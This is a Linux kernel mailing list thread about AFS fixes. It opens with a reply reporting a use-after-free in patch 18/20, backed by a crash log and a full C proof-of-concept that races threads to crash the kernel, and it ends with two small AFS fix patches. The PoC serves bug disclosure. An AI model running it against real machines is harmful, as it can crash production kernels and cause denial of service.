2. **Potential deadlock**: afs_alloc_cell() uses spin_lock() (without
disabling softirqs), but afs_cell_destroy() runs in RCU_SOFTIRQ
context via call_rcu() and acquires the same lock. If a softirq
interrupts process context while the lock is held, the RCU callback
could spin-wait on the same CPU.
[Reproduction]
The PoC mounts an AFS dynroot filesystem, pre-populates 50 cells, then
runs 4 threads:
- 2 readdir threads: continuously opendir/readdir the dynroot,
exercising idr_get_next() without rcu_read_lock()
- 1 creator thread: adds new cells via /proc/fs/afs/cells,
exercising idr_alloc_cyclic() with spin_lock()
- 1 accessor thread: opens/closes cell directories, triggering
cell lookup/unuse → call_rcu → afs_cell_destroy → idr_remove()
The UAF triggers deterministically within 10 seconds on a patched
kernel with CONFIG_KASAN=y.
[Crash log — kernel 7.1.0-next-20260618, CONFIG_KASAN=y, SMP]
BUG: KASAN: slab-use-after-free in afs_dynroot_readdir+0xa26/0xb70
Read of size 4 at addr ffff888114df2958 by task poc/11248
Call Trace:
<TASK>
dump_stack_lvl
print_report
kasan_report
afs_dynroot_readdir+0xa26/0xb70
(reading cell->state or cell->dynroot_ino from a freed cell)
...
The PoC is attached. It compiles with:
gcc -o poc poc.c -static -lpthread
[1]
https://sashiko.dev/#/patchset/20260618155141.2513212-1-dhowells%40redhat.com
(Sashiko AI code review — "Use-After-Free", Severity: High)
Thanks,
XIAOWU
// SPDX-License-Identifier: GPL-2.0-only
/*
* PoC for use-after-free in AFS dynroot readdir due to idr_remove()
* being called inside RCU callback while afs_dynroot_readdir_cells()
* calls idr_get_next() without rcu_read_lock().
*
* Bug: Patch 18/20 added spin_lock(&net->cells_dyn_ino_lock) around
* idr_alloc_cyclic() in afs_alloc_cell() (process context) and around
* idr_remove() in afs_cell_destroy() (RCU callback context). The
* idr_remove() now happens inside the RCU callback, and the IDR
* internal radix tree nodes are freed after call_rcu(). Meanwhile,
* afs_dynroot_readdir_cells() calls idr_get_next() without
* rcu_read_lock(), so a concurrent idr_remove() freeing internal
* nodes creates a use-after-free.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <pthread.h>
#include <dirent.h>
#include <signal.h>
#define MNT_PATH "/tmp/afsroot"
#define PROC_CELLS "/proc/fs/afs/cells"
#define MAX_THREADS 4
/* Cell names - must be printable, no '/' or '@', not starting with '.' */
#define NUM_CELL_NAMES 50
static char cell_names[NUM_CELL_NAMES][32];
static volatile int stop_flag = 0;
static pthread_t threads[MAX_THREADS];
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void add_cell(const char *name)
{
char buf[256];
int len = snprintf(buf, sizeof(buf), "add %s", name);
int fd = open(PROC_CELLS, O_WRONLY);
if (fd < 0)
return;
/* Ignore errors (cell may already exist) */
(void)write(fd, buf, len);
close(fd);
}
/* Thread that creates new cells, which calls afs_alloc_cell ->
* idr_alloc_cyclic, holding cells_dyn_ino_lock via spin_lock().
* The lock does not disable softirqs, so an RCU callback could
* run on this CPU while the lock is held. */
static void *creator_thread(void *arg)
{
int idx = (long)arg;
char name[64];
int i;
for (i = 0; i < 10000 && !stop_flag; i++) {
int ci = (i + idx * 1000) % NUM_CELL_NAMES;
snprintf(name, sizeof(name), "%s_p%d", cell_names[ci], idx);
add_cell(name);
if (i % 100 == 0)
usleep(10);
}
return NULL;
}
/* Thread that reads the dynroot directory in a tight loop.
* This calls afs_dynroot_readdir -> afs_dynroot_readdir_cells
* -> idr_get_next() WITHOUT rcu_read_lock(). */
static void *readdir_thread(void *arg)
{
int i;
for (i = 0; i < 100000 && !stop_flag; i++) {
DIR *dir = opendir(MNT_PATH);
if (!dir) {
usleep(100);
continue;
}
/* Read ALL directory entries. For each entry, idr_get_next
* traverses the radix tree's internal nodes (which are RCU
* protected). Since we DON'T hold rcu_read_lock(), and a
* concurrent idr_remove (in RCU callback) can free radix
* tree nodes, this is a use-after-free.
*/
struct dirent *entry;
while ((entry = readdir(dir)) != NULL) {
/* Touch the entry data to force memory access */
__asm__ volatile("" : : "r"(entry->d_type),
"r"(entry->d_name[0]));
}
closedir(dir);
}
return NULL;
}
/* Thread that opens cell directories, triggering refcounting
* that eventually leads to cell destruction via afs_unuse_cell
* -> afs_manage_cell -> call_rcu -> afs_cell_destroy. */
static void *accessor_thread(void *arg)
{
char path[256];
int i;
for (i = 0; i < 50000 && !stop_flag; i++) {
int ci = i % NUM_CELL_NAMES;
snprintf(path, sizeof(path), "%s/%s", MNT_PATH, cell_names[ci]);
/* Opening triggers lookup, which creates a new cell if needed.
* Closing triggers unuse, which eventually may free the cell.
*/
int fd = open(path, O_RDONLY | O_DIRECTORY);
if (fd >= 0) {
/* Just accessing the directory entry - this takes a ref */
struct stat st;
if (fstat(fd, &st) == 0) {
__asm__ volatile("" : : "r"(st.st_ino));
}
close(fd);
/* After close, cell may get freed */
}
if (i % 20 == 0)
sched_yield();
}
return NULL;
}
int main(int argc, char **argv)
{
int i, ret, status;
pid_t pid;
/* Use subprocess to isolate effects */
pid = fork();
if (pid < 0)
die("fork");
if (pid == 0) {
/* Child - run the PoC */
printf("AFS dynroot use-after-free PoC\n");
printf("===============================\n\n");
/* Initialize cell names */
for (i = 0; i < NUM_CELL_NAMES; i++) {
snprintf(cell_names[i], sizeof(cell_names[i]), "cell%d", i);
}
/* Create mount point */
mkdir(MNT_PATH, 0755);
/* Load module if needed */
system("modprobe kafs 2>/dev/null");
usleep(50000);
/* Mount AFS dynroot */
printf("[*] Mounting AFS dynroot at %s...\n", MNT_PATH);
if (mount("none", MNT_PATH, "afs", 0, "dyn") < 0) {
fprintf(stderr, "[!] mount failed: %s\n", strerror(errno));
_exit(1);
}
printf("[+] Mounted successfully\n");
usleep(100000);
/* Pre-create cells to populate the IDR radix tree */
printf("[*] Pre-populating %d cells...\n", NUM_CELL_NAMES);
for (i = 0; i < NUM_CELL_NAMES; i++) {
add_cell(cell_names[i]);
if (i % 10 == 0)
usleep(1000);
}
printf("[+] Cells created\n");
/* Verify we can read them */
{
DIR *dir = opendir(MNT_PATH);
if (dir) {
int cnt = 0;
struct dirent *e;
while ((e = readdir(dir))) cnt++;
closedir(dir);
printf("[+] Dynroot has %d entries\n", cnt);
}
}
printf("[*] Starting race threads...\n");
/* Start 2 readdir threads */
for (i = 0; i < 2; i++) {
ret = pthread_create(&threads[i], NULL, readdir_thread,
(void *)(long)i);
if (ret) fprintf(stderr, "readdir thread %d: %s\n", i,
strerror(ret));
}
/* Start 1 creator thread */
ret = pthread_create(&threads[2], NULL, creator_thread,
(void *)(long)1);
if (ret) fprintf(stderr, "creator thread: %s\n", strerror(ret));
/* Start 1 accessor thread */
ret = pthread_create(&threads[3], NULL, accessor_thread,
(void *)(long)1);
if (ret) fprintf(stderr, "accessor thread: %s\n", strerror(ret));
/* Run for 10 seconds */
sleep(10);
/* Signal stop */
stop_flag = 1;
/* Wait for threads */
for (i = 0; i < 4; i++) {
pthread_join(threads[i], NULL);
}
printf("[*] All threads stopped\n");
printf("[*] Checking dmesg for crash evidence...\n");
/* Collect dmesg output */
FILE *dmesg = popen("dmesg -c 2>/dev/null || dmesg | tail
-100", "r");
if (dmesg) {
char buf[512];
int found = 0;
while (fgets(buf, sizeof(buf), dmesg)) {
if (strstr(buf, "KASAN") || strstr(buf, "BUG:") ||
strstr(buf, "Oops") || strstr(buf, "Unable to
handle") ||
strstr(buf, "general protection") ||
strstr(buf, "rcu_callback") ||
strstr(buf, "call_rcu") ||
strstr(buf, "idr_remove") ||
strstr(buf, "afs_cell_destroy")) {
printf("%s", buf);
found = 1;
}
}
if (!found)
printf("[*] No crash evidence in dmesg\n");
pclose(dmesg);
}
/* Clean up */
umount2(MNT_PATH, MNT_FORCE);
rmdir(MNT_PATH);
printf("\n[*] PoC complete\n");
_exit(0);
}
/* Parent - wait for child */
waitpid(pid, &status, 0);
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
printf("\n[!] Child killed by signal %d (%s)\n", sig,
strsignal(sig));
printf("[!] This confirms the bug triggered!\n");
return 1;
}
printf("\n[*] Child exited normally (status %d)\n",
WEXITSTATUS(status));
return 0;
}
^ permalink raw reply [flat|nested] 24+ messages in thread
* [PATCH v3 19/20] afs: Fix the volume AFS_VOLUME_RM_TREE is set on
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (17 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 18/20] afs: Fix lack of locking around modifications of net->cells_dyn_ino David Howells
@ 2026-06-18 15:51 ` David Howells
2026-06-18 15:51 ` [PATCH v3 20/20] afs: Fix unchecked-length string display in debug statement David Howells
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
Fix afs_insert_volume_into_cell() to set AFS_VOLUME_RM_TREE on the volume
replaced, not the new volume, as it's now removed from the cell's volume
tree. This will cause the old volume to be removed from the tree twice and
the new volume never to be removed.
Fixes: 9a6b294ab496 ("afs: Fix use-after-free due to get/remove race in volume tree")
Closes: https://sashiko.dev/#/patchset/20260618074903.2374756-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/volume.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/fs/afs/volume.c b/fs/afs/volume.c
index 9ae5c8ad2e04..4f79d25ec37f 100644
--- a/fs/afs/volume.c
+++ b/fs/afs/volume.c
@@ -40,7 +40,7 @@ static struct afs_volume *afs_insert_volume_into_cell(struct afs_cell *cell,
goto found;
}
- set_bit(AFS_VOLUME_RM_TREE, &volume->flags);
+ set_bit(AFS_VOLUME_RM_TREE, &p->flags);
rb_replace_node_rcu(&p->cell_node, &volume->cell_node, &cell->volumes);
}
}
^ permalink raw reply related [flat|nested] 24+ messages in thread* [PATCH v3 20/20] afs: Fix unchecked-length string display in debug statement
2026-06-18 15:51 [PATCH v3 00/20] afs: Miscellaneous fixes David Howells
` (18 preceding siblings ...)
2026-06-18 15:51 ` [PATCH v3 19/20] afs: Fix the volume AFS_VOLUME_RM_TREE is set on David Howells
@ 2026-06-18 15:51 ` David Howells
19 siblings, 0 replies; 24+ messages in thread
From: David Howells @ 2026-06-18 15:51 UTC (permalink / raw)
To: Christian Brauner
Cc: David Howells, Marc Dionne, linux-afs, linux-fsdevel,
linux-kernel
Fix afs_extract_vlserver_list() to limit the length of the displayed
string in a debug statement().
Fixes: 0a5143f2f89c ("afs: Implement VL server rotation")
Closes: https://sashiko.dev/#/patchset/20260618074903.2374756-1-dhowells%40redhat.com
Signed-off-by: David Howells <dhowells@redhat.com>
cc: Marc Dionne <marc.dionne@auristor.com>
cc: linux-afs@lists.infradead.org
---
fs/afs/vl_list.c | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/fs/afs/vl_list.c b/fs/afs/vl_list.c
index 8e1cf6cdcf71..c1dac5dbed0d 100644
--- a/fs/afs/vl_list.c
+++ b/fs/afs/vl_list.c
@@ -200,6 +200,8 @@ struct afs_vlserver_list *afs_extract_vlserver_list(struct afs_cell *cell,
b += sizeof(*hdr);
while (end - b >= sizeof(bs)) {
+ int nlen;
+
bs.name_len = afs_extract_le16(&b);
bs.priority = afs_extract_le16(&b);
bs.weight = afs_extract_le16(&b);
@@ -209,10 +211,12 @@ struct afs_vlserver_list *afs_extract_vlserver_list(struct afs_cell *cell,
bs.protocol = *b++;
bs.nr_addrs = *b++;
+ nlen = min3(bs.name_len, end - b, 255);
+
_debug("extract %u %u %u %u %u %u %*.*s",
bs.name_len, bs.priority, bs.weight,
bs.port, bs.protocol, bs.nr_addrs,
- bs.name_len, bs.name_len, b);
+ bs.name_len, nlen, b);
if (end - b < bs.name_len)
break;
^ permalink raw reply related [flat|nested] 24+ messages in thread